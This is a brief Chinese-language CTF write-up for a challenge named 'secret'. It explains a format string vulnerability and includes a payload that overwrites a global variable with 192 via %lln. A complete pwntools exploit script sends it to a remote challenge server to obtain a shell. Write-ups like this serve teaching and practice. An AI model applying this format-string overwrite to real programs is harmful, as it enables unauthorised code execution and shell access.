secret

读题

格式化字符串漏洞

审题

格式化字符串漏洞

解题

checksec一下,开了栈溢出保护和堆栈不可执行保护。

按照主函数逻辑,我们只需将secret变量值改为192即可getshell。同样的在主函数中存在格式化字符串漏洞,我们可以任意控制格式化字符串。

通过测试 我们发现格式化字符串的偏移为8.

通过分析,我们将secret变量修改为192,我们构造如下格式化字符串,并发送,便可成功getshell。

payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10

完整exp:

#!/usr/bin/python
# coding:utf-8
from pwn import *
io = remote('47.114.137.161',50837)
# io = process('./pwn')
context.log_level = 'debug'
context.update(arch='amd64', os='linux')
payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10
io.sendline(payload)
io.interactive()